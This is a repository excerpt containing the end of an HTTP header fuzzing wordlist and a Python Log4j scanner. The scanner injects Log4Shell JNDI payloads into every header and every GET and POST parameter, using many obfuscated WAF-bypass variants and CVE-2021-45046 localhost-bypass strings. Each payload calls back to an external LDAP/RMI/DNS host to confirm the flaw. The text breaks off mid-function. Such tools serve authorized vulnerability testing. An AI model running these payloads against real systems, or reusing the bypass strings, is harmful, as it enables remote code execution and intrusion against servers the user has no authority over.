Surrogate-Capability 731 | Switching-Protocols 732 | Te 733 | TE 734 | Temporary-Redirect 735 | Test 736 | Test-Config 737 | Test-Server-Path 738 | Test-Something-Anything 739 | Ticket 740 | Timeout 741 | Time-Out 742 | Timing-Allow-Origin 743 | Title 744 | Tk 745 | Tmp 746 | Token 747 | Trailer 748 | Transfer-Encoding 749 | Translate 750 | Transport-Err 751 | True-Client-Ip 752 | True-Client-IP 753 | Ua 754 | Ua-Color 755 | Ua-Cpu 756 | Ua-Os 757 | Ua-Pixels 758 | Ua-Resolution 759 | Ua-Voice 760 | Unauthorized 761 | Unencoded-Url 762 | Unit-Test-Mode 763 | Unless-Modified-Since 764 | Unprocessable-Entity 765 | Unsupported-Media-Type 766 | Upgrade 767 | Upgrade-Insecure-Requests 768 | Upgrade-Required 769 | Upload-Default-Chmod 770 | Uri 771 | Url 772 | Url-From-Env 773 | Url-Join-Path 774 | Url-Join-Query 775 | Url-Replace 776 | Url-Sanitize-Path 777 | Url-Strip- 778 | Url-Strip-All 779 | Url-Strip-Auth 780 | Url-Strip-Fragment 781 | Url-Strip-Pass 782 | Url-Strip-Path 783 | Url-Strip-Port 784 | Url-Strip-Query 785 | Url-Strip-User 786 | Use-Gzip 787 | Use-Proxy 788 | User 789 | Useragent 790 | User-Agent 791 | Useragent-Via 792 | User-Agent-Via 793 | User-Email 794 | User-Id 795 | User-Mail 796 | User-Name 797 | User-Photos 798 | Util 799 | Variant-Also-Varies 800 | Vary 801 | Verbose 802 | Verbose-Throttle 803 | Verify-Cert 804 | Version 805 | Version-1-0 806 | Version-1-1 807 | Version-Any 808 | Versioncode 809 | Version-None 810 | Version-Not-Supported 811 | Via 812 | Viad 813 | Waf-Stuff-Below 814 | Want-Digest 815 | Wap-Connection 816 | Warning 817 | Webodf-Member-Id 818 | Webodf-Session-Id 819 | Webodf-Session-Revision 820 | Web-Server-Api 821 | Work-Directory 822 | Www-Address 823 | Www-Authenticate 824 | WWW-Authenticate 825 | X 826 | X- 827 | X-Aastra-Expmod1 828 | X-Aastra-Expmod2 829 | X-Aastra-Expmod3 830 | X-Accel-Mapping 831 | X-Access-Token 832 | X-Advertiser-Id 833 | X-Ajax-Real-Method 834 | X_alto_ajax_key 835 | X-Alto-Ajax-Keyz 836 | X-Amz-Date 837 | X-Amzn-Remapped-Host 838 | X-Amz-Website-Redirect-Location 839 | X-Api-Key 840 | X-Api-Signature 841 | X-Api-Timestamp 842 | X-Apitoken 843 | X-Api-Version 844 | X-Apple-Client-Application 845 | X-Apple-Store-Front 846 | X-Arr-Log-Id 847 | X-Arr-Ssl 848 | X-Att-Deviceid 849 | X-ATT-DeviceId 850 | X-Authentication 851 | X-Authentication-Key 852 | X-Auth-Key 853 | X-Auth-Mode 854 | Xauthorization 855 | X-Authorization 856 | X-Auth-Password 857 | X-Auth-Service-Provider 858 | X-Auth-Token 859 | X-Auth-User 860 | X-Auth-Userid 861 | X-Auth-Username 862 | X-Avantgo-Screensize 863 | X-Azc-Remote-Addr 864 | X-Bear-Ajax-Request 865 | X-Bluecoat-Via 866 | X-Bolt-Phone-Ua 867 | X-Browser-Height 868 | X-Browser-Width 869 | X-Cascade 870 | X-Cept-Encoding 871 | X-Cf-Url 872 | X-Chrome-Extension 873 | X-Cisco-Bbsm-Clientip 874 | X-Client-Host 875 | X-Client-Id 876 | X-Clientip 877 | X-Client-Ip 878 | X-Client-IP 879 | X-Client-Key 880 | X-Client-Os 881 | X-Client-Os-Ver 882 | X-Cluster-Client-Ip 883 | X-Codeception-Codecoverage 884 | X-Codeception-Codecoverage-Config 885 | X-Codeception-Codecoverage-Debug 886 | X-Codeception-Codecoverage-Suite 887 | X-Collect-Coverage 888 | X-Coming-From 889 | X-Confirm-Delete 890 | X-Content-Type 891 | X-Content-Type-Options 892 | X-Correlation-ID 893 | X-Credentials-Request 894 | X-Csrf-Crumb 895 | X-Csrftoken 896 | X-Csrf-Token 897 | X-CSRFToken 898 | X-Cuid 899 | X-Custom 900 | X-Dagd-Proxy 901 | X-Davical-Testcase 902 | X-Dcmguid 903 | X-Debug-Test 904 | X-Device-User-Agent 905 | X-Dialog 906 | X-Dns-Prefetch-Control 907 | X-DNS-Prefetch-Control 908 | X-Dokuwiki-Do 909 | X-Do-Not-Track 910 | X-Drestcg 911 | X-Dsid 912 | X-Elgg-Apikey 913 | X-Elgg-Hmac 914 | X-Elgg-Hmac-Algo 915 | X-Elgg-Nonce 916 | X-Elgg-Posthash 917 | X-Elgg-Posthash-Algo 918 | X-Elgg-Time 919 | X-Em-Uid 920 | X-Enable-Coverage 921 | X-Environment-Override 922 | X-Expected-Entity-Length 923 | X-Experience-Api-Version 924 | X-Fb-User-Remote-Addr 925 | X-File-Id 926 | X-Filename 927 | X-File-Name 928 | X-File-Resume 929 | X-File-Size 930 | X-File-Type 931 | X-Firelogger 932 | X-Fireloggerauth 933 | X-Firephp-Version 934 | X-Flash-Version 935 | X-Flx-Consumer-Key 936 | X-Flx-Consumer-Secret 937 | X-Flx-Redirect-Url 938 | X-Foo 939 | X-Foo-Bar 940 | X-Forwarded 941 | X-Forwarded-By 942 | X-Forwarded-For 943 | X-Forwarded-For-Original 944 | X-Forwarded-Host 945 | X-Forwarded-Port 946 | X-Forwarded-Proto 947 | X-Forwarded-Protocol 948 | X-Forwarded-Scheme 949 | X-Forwarded-Server 950 | X-Forwarded-Ssl 951 | X-Forwarder-For 952 | X-Forward-For 953 | X-Forward-Proto 954 | X-Frame-Options 955 | X-From 956 | X-Gb-Shared-Secret 957 | X-Geoip-Country 958 | X-Get-Checksum 959 | X-Helpscout-Event 960 | X-Helpscout-Signature 961 | X-Hgarg- 962 | X-Host 963 | X-Http-Destinationurl 964 | X-Http-Host-Override 965 | X-Http-Method 966 | X-Http-Method-Override 967 | X-HTTP-Method-Override 968 | X-Http-Path-Override 969 | X-Https 970 | X-Htx-Agent 971 | X-Huawei-Userid 972 | X-Hub-Signature 973 | X-If-Unmodified-Since 974 | X-Imbo-Test-Config 975 | X-Insight 976 | X-Ip 977 | X-Ip-Trail 978 | X-Iwproxy-Nesting 979 | X-Jphone-Color 980 | X-Jphone-Display 981 | X-Jphone-Geocode 982 | X-Jphone-Msname 983 | X-Jphone-Uid 984 | X-Json 985 | X-Kaltura-Remote-Addr 986 | X-Known-Signature 987 | X-Known-Username 988 | X-Litmus 989 | X-Litmus-Second 990 | X-Locking 991 | X-Machine 992 | X-Mandrill-Signature 993 | X-Method-Override 994 | X-Mobile-Gateway 995 | X-Mobile-Ua 996 | X-Mosso-Dt 997 | X-Moz 998 | X-Msisdn 999 | X-Ms-Policykey 1000 | X-Myqee-System-Debug 1001 | X-Myqee-System-Hash 1002 | X-Myqee-System-Isadmin 1003 | X-Myqee-System-Isrest 1004 | X-Myqee-System-Pathinfo 1005 | X-Myqee-System-Project 1006 | X-Myqee-System-Rstr 1007 | X-Myqee-System-Time 1008 | X-Network-Info 1009 | X-Nfsn-Https 1010 | X-Ning-Request-Uri 1011 | X-Nokia-Bearer 1012 | X-Nokia-Connection-Mode 1013 | X-Nokia-Gateway-Id 1014 | X-Nokia-Ipaddress 1015 | X-Nokia-Msisdn 1016 | X-Nokia-Wia-Accept-Original 1017 | X-Nokia-Wtls 1018 | X-Nuget-Apikey 1019 | X-Oc-Mtime 1020 | Xonnection 1021 | X-Opera-Info 1022 | X-Operamini-Features 1023 | X-Operamini-Phone 1024 | X-Operamini-Phone-Ua 1025 | X-Options 1026 | X-Orange-Id 1027 | X-Orchestra-Scheme 1028 | X-Orig-Client 1029 | X-Original-Host 1030 | X-Original-Http-Command 1031 | X-Originally-Forwarded-For 1032 | X-Originally-Forwarded-Proto 1033 | X-Original-Remote-Addr 1034 | X-Original-Url 1035 | X-Original-User-Agent 1036 | X-Originating-Ip 1037 | X-Originating-IP 1038 | X-Os-Prefs 1039 | X-Overlay 1040 | X-Pagelet-Fragment 1041 | X-Password 1042 | Xpdb-Debugger 1043 | X-Phabricator-Csrf 1044 | X-Phpbb-Using-Plupload 1045 | X-Pjax 1046 | X-Pjax-Container 1047 | X-Prototype-Version 1048 | Xproxy 1049 | X-Proxy-Url 1050 | X-ProxyUser-Ip 1051 | X-Pswd 1052 | X-Purpose 1053 | X-Qafoo-Profiler 1054 | X-Real-Ip 1055 | X-Remote-Addr 1056 | X-Remote-IP 1057 | X-Remote-Protocol 1058 | X-Render-Partial 1059 | X-Request 1060 | X-Requested-With 1061 | X-Request-Id 1062 | X-Request-ID 1063 | X-Request-Signature 1064 | X-Request-Start 1065 | X-Request-Timestamp 1066 | X-Response-Format 1067 | X-Rest-Cors 1068 | X-Rest-Password 1069 | X-Rest-Username 1070 | X-Rewrite-Url 1071 | Xroxy-Connection 1072 | X-Sakura-Forwarded-For 1073 | X-Scalr-Auth-Key 1074 | X-Scalr-Auth-Token 1075 | X-Scalr-Env-Id 1076 | X-Scanner 1077 | X-Scheme 1078 | X-Screen-Height 1079 | X-Screen-Width 1080 | X-Sendfile-Type 1081 | X-Serialize 1082 | X-Serial-Number 1083 | X-Server-Id 1084 | X-Server-Name 1085 | X-Server-Port 1086 | X-Signature 1087 | X-Sina-Proxyuser 1088 | X-Skyfire-Phone 1089 | X-Skyfire-Screen 1090 | X-Ssl 1091 | X-Subdomain 1092 | X-Te 1093 | X-Teamsite-Preremap 1094 | X-Test-Session-Id 1095 | X-Timer 1096 | X-Tine20-Jsonkey 1097 | X-Tine20-Request-Type 1098 | X-Tomboy-Client 1099 | X-Tor 1100 | X-Twilio-Signature 1101 | X-Ua-Device 1102 | X-Ucbrowser-Device-Ua 1103 | X-Uidh 1104 | X-UIDH 1105 | X-Unique-Id 1106 | X-Uniquewcid 1107 | X-Up-Calling-Line-Id 1108 | X-Update 1109 | X-Update-Range 1110 | X-Up-Devcap-Iscolor 1111 | X-Up-Devcap-Screendepth 1112 | X-Up-Devcap-Screenpixels 1113 | X-Upload-Maxresolution 1114 | X-Upload-Name 1115 | X-Upload-Size 1116 | X-Upload-Type 1117 | X-Up-Subno 1118 | X-Url-Scheme 1119 | X-User 1120 | X-User-Agent 1121 | X-Username 1122 | X-Varnish 1123 | X-Verify-Credentials-Authorization 1124 | X-Vodafone-3gpdpcontext 1125 | X-Wap-Clientid 1126 | X-Wap-Client-Sdu-Size 1127 | X-Wap-Gateway 1128 | X-Wap-Network-Client-Ip 1129 | X-Wap-Network-Client-Msisdn 1130 | x-wap-profile 1131 | X-Wap-Profile 1132 | X-Wap-Proxy-Cookie 1133 | X-Wap-Session-Id 1134 | X-Wap-Tod 1135 | X-Wap-Tod-Coded 1136 | X-Whatever 1137 | X-Wikimedia-Debug 1138 | X-Wp-Nonce 1139 | X-Wp-Pjax-Prefetch 1140 | X-Ws-Api-Key 1141 | X-Xc-Schema-Version 1142 | X-Xhprof-Debug 1143 | X-Xhr-Referer 1144 | X-Xmlhttprequest 1145 | X-Xpid 1146 | X-XSRF-TOKEN 1147 | X-XSS-Protection 1148 | Xxx-Real-Ip 1149 | Xxxxxxxxxxxxxxx 1150 | X-Zikula-Ajax-Token 1151 | X-Zotero-Version 1152 | X-Ztgo-Bearerinfo 1153 | Y 1154 | Zotero-Api-Version 1155 | Zotero-Write-Token -------------------------------------------------------------------------------- /log4jscanner/Log4jScanner.py: -------------------------------------------------------------------------------- 1 | import random, os 2 | import requests 3 | from requests.exceptions import ConnectionError 4 | import time 5 | import sys 6 | from urllib import parse as urlparse 7 | import random 8 | from log4jscanner.DNSCallBackProvider import Interactsh, Dnslog 9 | import concurrent.futures 10 | import pyfiglet 11 | import argparse 12 | from colorama import init 13 | from colorama import Fore, Back, Style 14 | init() 15 | 16 | import requests.packages.urllib3 17 | requests.packages.urllib3.disable_warnings() 18 | 19 | class Log4jScanner: 20 | def __init__(self, file_containing_urls, url_list, ThreadNumber, timeout, custom_dns_callback_host, dns_callback_provider, disable_redirect, exclude_user_agent_fuzzing, basic_scan, file_containing_headers): 21 | self.file_containing_urls = file_containing_urls 22 | self.ThreadNumber = ThreadNumber 23 | self.url_list = url_list 24 | 25 | if "db/header" in file_containing_headers: 26 | self.headers_file = os.path.dirname(__file__) + "/" + file_containing_headers 27 | self.exclude_user_agent_fuzzing = exclude_user_agent_fuzzing # If True, then Will Not Fuzz 'User-Agent' Header 28 | self.disable_redirects = disable_redirect 29 | self.custom_dns_callback_host = custom_dns_callback_host 30 | self.dns_callback_provider = dns_callback_provider # "dnslog.cn" , "interact.sh" 31 | self.basic_scan = basic_scan 32 | self.wait_time_before_dns_logs_check = 10 33 | self.timeout = timeout 34 | self.proxies = {} 35 | # self.proxies = {'http': 'http://127.0.0.1:8081', 'https': 'https://127.0.0.1:8081'} 36 | 37 | self.default_headers = { 38 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36', 39 | 'Accept': '*/*' 40 | } 41 | 42 | self.post_data_parameters = ["username", "user", "email", "email_address", "password", "id", "action", "page", "q", "submit", "token", "data", "order", "lang", "search", "redirect", "country", "hidden"] 43 | 44 | self.waf_bypass_payloads = [ 45 | "${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}", 46 | "${${::-j}ndi:rmi://{{callback_host}}/{{random}}}", 47 | "${jndi:rmi://{{callback_host}}}", 48 | "${${lower:jndi}:${lower:rmi}://{{callback_host}}/{{random}}}", 49 | "${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host}}/{{random}}}", 50 | "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}", 51 | "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}://{{callback_host}}/{{random}}}", 52 | "${jndi:dns://{{callback_host}}}", 53 | 54 | "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldap://{{callback_host}}/{{random}}}", 55 | "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:LDAP://{{callback_host}}/{{random}}}", 56 | "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:Ldap://{{callback_host}}/{{random}}}", 57 | "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:lDap://{{callback_host}}/{{random}}}", 58 | "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:ldAp://{{callback_host}}/{{random}}}", 59 | "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:LdaP://{{callback_host}}/{{random}}}", 60 | 61 | "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:rmi://{{callback_host}}/{{random}}}", 62 | "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:RMI://{{callback_host}}/{{random}}}", 63 | "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:Rmi://{{callback_host}}/{{random}}}", 64 | "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:rMi://{{callback_host}}/{{random}}}", 65 | "${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:rmI://{{callback_host}}/{{random}}}", 66 | 67 | "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://{{callback_host}}/{{random}}}", 68 | 69 | "${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//{{callback_host}}/{{random}}}", 70 | "${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-r}mi${env:NaN:-:}//{{callback_host}}/{{random}}}", 71 | 72 | "${jndi${nagli:-:}ldap:${::-/}/{{callback_host}}/{{random}}}", 73 | "${j${k8s:k5:-ND}i${sd:k5:-:}ldap://{{callback_host}}/{{random}}}", 74 | "${${env:HL:-j}ndi:ldap:${:::::::::-//}{{callback_host}}/{{random}}}", 75 | "${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//{{callback_host}}/{{random}}}", 76 | ] 77 | 78 | self.cve_2021_45046 = [ 79 | "${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", 80 | "${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}", 81 | "${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}" 82 | ] 83 | 84 | def start(self): 85 | print(f"{Fore.GREEN}[+] {Fore.RED}Initiating {Fore.GREEN}Log4j Scanner {Fore.YELLOW}[Author: {Fore.GREEN}Pushpender Singh{Fore.YELLOW}] [{Fore.GREEN}https://github.com/PushpenderIndia{Fore.YELLOW}]{Style.RESET_ALL}") 86 | if self.file_containing_urls != "": 87 | with open(self.file_containing_urls, encoding='utf-8') as f: 88 | for url in f.readlines(): 89 | url = str(url).strip() 90 | if url != "" and not url.startswith("#"): 91 | self.url_list.append(url) 92 | 93 | if self.custom_dns_callback_host != "": 94 | print(f"{Fore.YELLOW}[+] Using custom DNS Callback host [{Fore.GREEN}{self.custom_dns_callback_host}{Fore.YELLOW}]. {Fore.RED}No verification will be done after sending fuzz requests.{Style.RESET_ALL}") 95 | dns_callback_host = self.custom_dns_callback_host 96 | else: 97 | print(f"{Fore.GREEN}[+] Initiating DNS callback server ({Fore.YELLOW}{self.dns_callback_provider}{Fore.GREEN}).{Style.RESET_ALL}") 98 | if self.dns_callback_provider == "interact.sh": 99 | dns_callback = Interactsh() 100 | elif self.dns_callback_provider == "dnslog.cn": 101 | dns_callback = Dnslog() 102 | else: 103 | print(f"{Fore.RED}[!] Invalid DNS Callback provider{Style.RESET_ALL}") 104 | sys.exit() 105 | dns_callback_host = dns_callback.domain 106 | 107 | print("="*150) 108 | print(f"{Fore.GREEN}[+] Log4jScanner is Capable of Scanning these CVEs{Style.RESET_ALL}") 109 | print("="*150) 110 | print(f"{Fore.WHITE}1. CVE-2021-44228 [{Fore.RED}(RCE) - Critical{Fore.WHITE}] (Fixed in version 2.15.0) : Affecting Log4j versions 2.0-beta9 to 2.14.1") 111 | print(f"{Fore.WHITE}2. CVE-2021-45046 [{Fore.RED}(RCE) - Critical{Fore.WHITE}] (Fixed in version 2.16.0) : Affecting Log4j versions 2.0-beta9 to 2.15.0, excluding 2.12.2 ") 112 | # print("3. CVE-2021-45105 [(DOS) - High ] (Fixed in version 2.17.0) : Affecting Log4j versions 2.0-beta9 to 2.16.0") 113 | print("="*150) 114 | if self.basic_scan: 115 | print(f"{Fore.WHITE}[>>] Total Payloads Loaded: {Fore.GREEN}1{Fore.WHITE} | Scan Type: {Fore.GREEN}Basic Scan{Style.RESET_ALL}") 116 | else: 117 | total_payloads_loaded = len(self.waf_bypass_payloads) + len(self.cve_2021_45046) + 1 118 | print(f"{Fore.WHITE}[>>] Total Payloads Loaded: {Fore.GREEN}{total_payloads_loaded}{Fore.WHITE} | Scan Type: {Fore.GREEN}Full Scan{Style.RESET_ALL}") 119 | print("="*150) 120 | 121 | # for url in self.url_list: 122 | # self.scan_url(url, dns_callback_host) 123 | 124 | # Multi-Threaded Implementation 125 | executor = concurrent.futures.ThreadPoolExecutor(max_workers=self.ThreadNumber) 126 | futures = [executor.submit(self.scan_url, url, dns_callback_host) for url in self.url_list] 127 | concurrent.futures.wait(futures) 128 | 129 | if self.custom_dns_callback_host != "": 130 | print(f"{Fore.GREEN}[+] Payloads are sent to all URLs. Custom DNS Callback host is provided, please check your logs to verify the existence of the vulnerability. Exiting.{Style.RESET_ALL}") 131 | return 132 | 133 | print("="*150) 134 | print(f"{Fore.YELLOW}[*] Payloads are sent to all URLs. {Fore.GREEN}Waiting for DNS OOB callbacks.{Style.RESET_ALL}") 135 | print(f"{Fore.YELLOW}[*] Waiting...{Style.RESET_ALL}") 136 | print("="*150) 137 | time.sleep(self.wait_time_before_dns_logs_check) 138 | records = dns_callback.pull_logs() 139 | if len(records) == 0: 140 | print(f"{Fore.YELLOW}[-] Given URL/URLs {Fore.RED}does not seem to be Vulnerable.{Style.RESET_ALL}") 141 | return [] # Returing Empty List 142 | else: 143 | print(f"{Fore.YELLOW}[+] Given URL/URLs are {Fore.GREEN}Vulnerable{Fore.YELLOW} to {Fore.GREEN}Log4j RCE : ){Style.RESET_ALL}") 144 | with open('log4j_pool_data.txt', 'w', encoding='utf-8') as f: 145 | for vuln_url in records: 146 | f.write(str(vuln_url)+"\n") 147 | 148 | with open("log4j_pool_data.txt") as f: 149 | vuln_data = f.read() 150 | 151 | vuln_url_list = [] 152 | with open('log4j_vuln.txt', 'w') as file_writer: 153 | for subdomain in self.url_list: 154 | subdomain = subdomain.strip() 155 | hostname = subdomain.replace('https://', '').replace('http://', '').split('/')[0].strip() 156 | if hostname in vuln_data: 157 | print(f"[+] {subdomain}") 158 | vuln_url_list.append(subdomain) 159 | file_writer.write(subdomain+"\n") 160 | 161 | return vuln_url_list 162 | 163 | def scan_url(self, url, callback_host): 164 | parsed_url = self.parse_url(url) 165 | 166 | random_string = ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for i in range(7)) 167 | 168 | # ${jndi:ldap://example.com.callback_url.com/ad3f5g6} 169 | payload = '${jndi:ldap://%s.%s/%s}' % (parsed_url["host"], callback_host, random_string) 170 | payloads = [payload] 171 | 172 | if not self.basic_scan: 173 | payloads.extend(self.get_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)) 174 | payloads.extend(self.get_cve_2021_45046_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)) 175 | 176 | for payload in payloads: 177 | full_url = parsed_url["site"] 178 | 179 | # Performing GET Based Log4j Scan + Without Malicious Header 180 | try: 181 | response = requests.request(url=full_url, method="GET", params={"test": payload}, verify=False, timeout=self.timeout, allow_redirects=(not self.disable_redirects), proxies=self.proxies) 182 | if response.status_code == 200: 183 | print(f"{Fore.YELLOW}[*] [{Fore.GREEN}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}GET + Without Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 184 | else: 185 | print(f"{Fore.YELLOW}[*] [{Fore.RED}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}GET + Without Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 186 | except ConnectionError: print(f"[!] Error: {Fore.RED}Failed to Connect: {full_url}{Style.RESET_ALL}") 187 | except Exception as e: print(f"[!] Error: {Fore.RED}{e}{Style.RESET_ALL}") 188 | 189 | # Performing POST Based Log4j Scan + Without Malicious Header 190 | try: 191 | response = requests.request(url=full_url, method="POST", params={"test": payload}, verify=False, timeout=self.timeout, allow_redirects=(not self.disable_redirects), data=self.get_fuzzing_post_data(payload), proxies=self.proxies) 192 | if response.status_code == 200: 193 | print(f"{Fore.YELLOW}[*] [{Fore.GREEN}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}POST + Without Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 194 | else: 195 | print(f"{Fore.YELLOW}[*] [{Fore.RED}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}POST + Without Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 196 | except ConnectionError: print(f"[!] Error: {Fore.RED}Failed to Connect: {full_url}{Style.RESET_ALL}") 197 | except Exception as e: print(f"[!] Error: {Fore.RED}{e}{Style.RESET_ALL}") 198 | 199 | # Performing POST Based Log4j Scan with Possible Post Parameters + Without Malicious Header 200 | try: 201 | response = requests.request(url=full_url, method="POST", params={"test": payload}, verify=False, timeout=self.timeout, allow_redirects=(not self.disable_redirects), json=self.get_fuzzing_post_data(payload), proxies=self.proxies) 202 | if response.status_code == 200: 203 | print(f"{Fore.YELLOW}[*] [{Fore.GREEN}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}POST + Possible Params + Without Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 204 | else: 205 | print(f"{Fore.YELLOW}[*] [{Fore.RED}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}POST + Possible Params + Without Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 206 | except ConnectionError: print(f"[!] Error: {Fore.RED}Failed to Connect: {full_url}{Style.RESET_ALL}") 207 | except Exception as e: print(f"[!] Error: {Fore.RED}{e}{Style.RESET_ALL}") 208 | 209 | #==================================================================================================================================================================================================================================================================================== 210 | 211 | # Performing GET Based Log4j Scan + With Malicious Header 212 | try: 213 | response = requests.request(url=full_url, method="GET", params={"test": payload}, headers=self.get_fuzzing_headers(payload), verify=False, timeout=self.timeout, allow_redirects=(not self.disable_redirects), proxies=self.proxies) 214 | if response.status_code == 200: 215 | print(f"{Fore.YELLOW}[*] [{Fore.GREEN}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}GET + With Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 216 | else: 217 | print(f"{Fore.YELLOW}[*] [{Fore.RED}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}GET + With Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 218 | except ConnectionError: print(f"[!] Error: {Fore.RED}Failed to Connect: {full_url}{Style.RESET_ALL}") 219 | except Exception as e: print(f"[!] Error: {Fore.RED}{e}{Style.RESET_ALL}") 220 | 221 | # Performing POST Based Log4j Scan + With Malicious Header 222 | try: 223 | response = requests.request(url=full_url, method="POST", params={"test": payload}, headers=self.get_fuzzing_headers(payload), verify=False, timeout=self.timeout, allow_redirects=(not self.disable_redirects), data=self.get_fuzzing_post_data(payload), proxies=self.proxies) 224 | if response.status_code == 200: 225 | print(f"{Fore.YELLOW}[*] [{Fore.GREEN}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}POST + With Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 226 | else: 227 | print(f"{Fore.YELLOW}[*] [{Fore.RED}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}POST + With Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 228 | except ConnectionError: print(f"[!] Error: {Fore.RED}Failed to Connect: {full_url}{Style.RESET_ALL}") 229 | except Exception as e: print(f"[!] Error: {Fore.RED}{e}{Style.RESET_ALL}") 230 | 231 | # Performing POST Based Log4j Scan with Possible Post Parameters + With Malicious Header 232 | try: 233 | response = requests.request(url=full_url, method="POST", params={"test": payload}, headers=self.get_fuzzing_headers(payload), verify=False, timeout=self.timeout, allow_redirects=(not self.disable_redirects), json=self.get_fuzzing_post_data(payload), proxies=self.proxies) 234 | if response.status_code == 200: 235 | print(f"{Fore.YELLOW}[*] [{Fore.GREEN}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}POST + Possible Params + With Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 236 | else: 237 | print(f"{Fore.YELLOW}[*] [{Fore.RED}{response.status_code}{Fore.YELLOW}] [{Fore.WHITE}POST + Possible Params + With Malicious Header{Fore.YELLOW}] : {Fore.GREEN}{full_url}{Fore.WHITE} | {Fore.YELLOW}{payload}{Style.RESET_ALL}") 238 | except ConnectionError: print(f"[!] Error: {Fore.RED}Failed to Connect: {full_url}{Style.RESET_ALL}") 239 | except Exception as e: print(f"[!] Error: {Fore.RED}{e}{Style.RESET_ALL}") 240 | 241 | 242 | def get_fuzzing_headers(self, payload): 243 | """ 244 | Returns a Dict, Containing All Malicious HTTP Request Headers 245 | """ 246 | fuzzing_headers = {} 247 | fuzzing_headers.update(self.default_headers) 248 | with open(self.headers_file) as f: 249 | for header in f.readlines(): 250 | header = str(header).strip() 251 | if header != "" and not header.startswith("#"): 252 | fuzzing_headers.update({header: payload}) 253 | if self.exclude_user_agent_fuzzing: 254 | fuzzing_headers["User-Agent"] = self.default_headers["User-Agent"] 255 | 256 | return fuzzing_headers 257 | 258 | def get_fuzzing_post_data(self, payload): 259 | """ 260 | Returns a Dict, Containing Possible POST Parameter with Log4j Payload as Value 261 | """ 262 | fuzzing_post_data = {} 263 | for post_data in self.post_data_parameters: 264 | fuzzing_post_data.update({post_data: payload}) 265 | return fuzzing_post_data 266 | 267 | def get_waf_bypass_payloads(self, callback_host, random_string): 268 | """ 269 | Returns a List of Web Application Firewal Bypass Payloads 270 | """ 271 | payloads = [] 272 | for waf_payload in self.waf_bypass_payloads: 273 | new_payload = waf_payload.replace("{{callback_host}}", callback_host) 274 | new_payload = new_payload.replace("{{random}}", random_string) 275 | payloads.append(new_payload) 276 | return payloads 277 | 278 | def get_cve_2021_45046_payloads(self, callback_host, random_string): 279 | """ 280 | Returns a List of LocalHost Restriction Bypass Payload (CVE-2021-45046) 281 | """ 282 | payloads = [] 283 | for payload in self.cve_2021_45046: 284 | new_payload = payload.replace("{{callback_host}}", callback_host) 285 | new_payload = new_payload.replace("{{random}}", random_string) 286 | payloads.append(new_payload) 287 | return payloads 288 | 289 | def parse_url(self, url): 290 | """ 291 | If url = "https://example.com/login.php" 292 | Then it will Return: 293 | -------------------- 294 | { 295 | "scheme" : "https", 296 | "site" : "https://example.com", 297 | "host" : "example.com", 298 | "file_path" : "/login.php", 299 | } 300 | """ 301 | url = str(url).replace('#', '%23').replace(' ', 